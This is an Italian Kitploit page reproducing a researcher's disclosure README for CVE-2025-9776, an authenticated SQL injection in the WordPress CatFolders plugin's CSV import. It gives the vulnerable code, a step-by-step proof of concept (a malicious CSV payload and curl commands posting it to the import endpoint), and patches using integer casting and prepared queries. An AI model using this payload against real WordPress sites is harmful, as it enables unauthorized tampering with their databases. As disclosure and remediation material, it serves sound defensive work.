Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-9776 — CVE-2025-9776 — Plugin WordPress CatFolders: Iniezione SQL autenticata tramite importazione CSV | POC + Guida passo-passo | Kitploit
Strumenti/GitHubGitHub/snailsploit/cve-2025-9776
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — Plugin WordPress CatFolders: Iniezione SQL autenticata tramite importazione CSV | POC + Guida passo-passo

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-9776: SQL Injection autenticata nel plugin WordPress CatFolders

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Parole chiave: CVE-2025-9776, vulnerabilità WordPress CatFolders, SQL injection WordPress, SQL injection autenticata, sicurezza WordPress, vulnerabilità importazione CSV, exploit plugin WordPress, CWE-89, attacco al database WordPress, vulnerabilità libreria media, CVE WordPress 2025

Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Proof of Concept
  • Guida alla risoluzione
  • Metriche CVSS
  • Riferimenti
  • Contatto sicurezza

Panoramica

Una vulnerabilità di SQL Injection autenticata è stata scoperta nel plugin WordPress CatFolders, che consente a utenti con privilegi di livello Autore di manipolare query del database tramite importazioni CSV dannose.

Scoperta da: Kai Aizen (SnailSploit)
Pubblicata: 2025
Punteggio CVSS: 6.5 (Medio)
CWE: CWE-89 - SQL Injection

Dettagli della vulnerabilità

Descrizione

CatFolders – Tame Your WordPress Media Library by Category contiene una vulnerabilità di SQL Injection autenticata nella funzionalità di importazione CSV. La colonna attachments di un CSV fornito dall'utente viene suddivisa in una lista e passata direttamente a FolderModel::set_attachments(), che concatena quei valori in clausole SQL IN (...) grezze senza una corretta sanitizzazione o parametrizzazione.

Impatto

Questa vulnerabilità consente ad attaccanti autenticati con privilegi di livello Autore di:

  • Eseguire query SQL arbitrarie
  • Cancellazione o manipolazione di massa delle associazioni cartella-allegato
  • Potenziale esposizione dei dati a seconda del payload e della struttura del database
  • Compromettere l'integrità e la disponibilità del database

Versioni affette

  • Vulnerabili: Tutte le versioni ≤ 2.5.2
  • Corrette: Versione 2.5.3 e successive (verificare con il fornitore)

Metriche CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Analisi tecnica

Percorso del codice vulnerabile

La vulnerabilità risiede nel flusso di importazione CSV:

File: includes/Rest/Controllers/ImportController.php

  1. Il metodo import_csv analizza il CSV caricato senza sanitizzazione per campo
  2. restore_folders() chiama:
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

File: includes/Models/FolderModel.php

  1. set_attachments() costruisce SQL grezzo tramite concatenazione di stringhe:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Ogni elemento non viene convertito in intero né parametrizzato, consentendo SQL injection

Vettore di attacco

Un attaccante con privilegi di livello Autore (capacità upload_files) può iniettare SQL dannoso tramite l'endpoint di importazione CSV:

Payload CSV dannoso:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

Query vulnerabile risultante:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Questo esce dalla clausola IN(...) e altera la semantica della query, potenzialmente interessando tutte le righe.

Prerequisiti

  • Account di livello Autore (o superiore) sul sito WordPress target
  • Plugin CatFolders installato e attivo
  • Accesso all'endpoint API di importazione

Proof of Concept

Passo 1: Scoprire il namespace REST

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Risultato tipico: /catf/v1/import-csv

Passo 2: Preparare un CSV dannoso

Crea un file denominato catf_inject.csv:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Passo 3: Eseguire l'attacco

root@kitploit:~
NS="/catf/v1"  # Sostituire con il namespace scoperto

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Risposta prevista:

root@kitploit:~
{ "success": true }

Dimostrazione dell'impatto

Il server costruisce ed esegue:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Ciò può eseguire operazioni DELETE/INSERT più ampie del previsto, cancellando spesso le relazioni cartella-allegato sull'intero database.

Ambiente di test sicuro

Esegui la simulazione SQLite autonoma per osservare la vulnerabilità in sicurezza:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

Questo stampa la query vulnerabile e dimostra come un token dannoso restituisca tutte le righe, mentre una versione parametrizzata lo rifiuti correttamente.

Risoluzione

Per amministratori del sito

Azione immediata richiesta:

  1. Aggiornare CatFolders alla versione 2.5.3 o successiva
  2. Rivedere gli account utente con privilegi di livello Autore o superiori
  3. Controllare i log del database per eventuali query sospette tra le date interessate
  4. Verificare le associazioni cartella-allegato per modifiche inaspettate

Per sviluppatori

Due passaggi minimi di hardening:

1. Sanitizzare gli ID prima di chiamare il modello

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Imporre interi all'interno di set_attachments()

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Raccomandazione più forte

Sostituire tutta la concatenazione SQL grezza con query parametrizzate utilizzando $wpdb->prepare() di WordPress:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

Inoltre:

  • Validare rigorosamente tutti i campi CSV prima dell'elaborazione
  • Implementare la validazione del tipo di input a livello API
  • Aggiungere limitazione di frequenza all'endpoint di importazione
  • Registrare tutte le operazioni di importazione per audit trail

File di patch

Una patch completa è disponibile in patch/catfolders_fix.patch

Struttura del repository

root@kitploit:~
CVE-2025-9776/
├── README.md                    # Questo file
├── poc/
│   ├── catf_inject.csv         # Payload CSV dannoso
│   └── catfolders_sql_poc.py   # Simulazione SQLite sicura
└── patch/
    └── catfolders_fix.patch    # Correzioni raccomandate

Cronologia

  • Data di scoperta: 2025
  • Notifica al fornitore: Divulgazione coordinata tramite Wordfence
  • Divulgazione pubblica: 2025
  • Patch disponibile: Versione 2.5.3

Riferimenti

  • Voce MITRE CVE
  • Avviso Wordfence Intelligence
  • Directory plugin WordPress
  • Ricerca SnailSploit

Crediti

Ricercatore: Kai Aizen (SnailSploit)

Processo di divulgazione: Coordinato tramite il programma Bug Bounty di Wordfence

Considerazioni etiche

⚠️ AVVISO IMPORTANTE

Questo Proof of Concept è fornito esclusivamente per scopi di ricerca difensiva e formazione.

Linee guida d'uso

  • ✅ FARE: Testare sui propri sistemi o con autorizzazione scritta esplicita
  • ✅ FARE: Utilizzare per formazione e sensibilizzazione sulla sicurezza
  • ✅ FARE: Implementare le correzioni nel proprio codice
  • ❌ NON FARE: Testare su sistemi senza autorizzazione
  • ❌ NON FARE: Utilizzare per scopi dannosi
  • ❌ NON FARE: Sfruttare in ambienti di produzione

Avviso legale

L'accesso non autorizzato ai sistemi informatici è illegale secondo leggi tra cui:

  • Computer Fraud and Abuse Act (CFAA) - Stati Uniti
  • Computer Misuse Act - Regno Unito
  • Legislazione simile in altre giurisdizioni

Utilizzare a proprio rischio. I ricercatori e SnailSploit declinano ogni responsabilità per l'uso improprio di queste informazioni.

Contatto

Per domande o informazioni aggiuntive su questa vulnerabilità:

  • Email: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • Sito web: snailsploit.com
  • Organizzazione: SnailSploit Security Research

Rimanete sicuri e tenete aggiornate le vostre installazioni WordPress!

Ultimo aggiornamento: 13 ottobre 2025


📚 Documentazione e autore

Il full writeup di questo progetto, la metodologia e la ricerca correlata si trovano su:

https://snailsploit.com/security-research/cves/cve-2025-9776/

Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.

snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter

Stesso attacco. Substrato diverso.

Scarica lo strumento
MetricaValore
Vettore di attaccoRete (AV:N)
Complessità dell'attaccoBassa (AC:L)
Privilegi richiestiBassi (PR:L) - Autore+
Interazione dell'utenteNessuna (UI:N)
AmbitoInvariato (S:U)
RiservatezzaNessuna (C:N)
IntegritàBassa (I:L)
DisponibilitàBassa (A:L)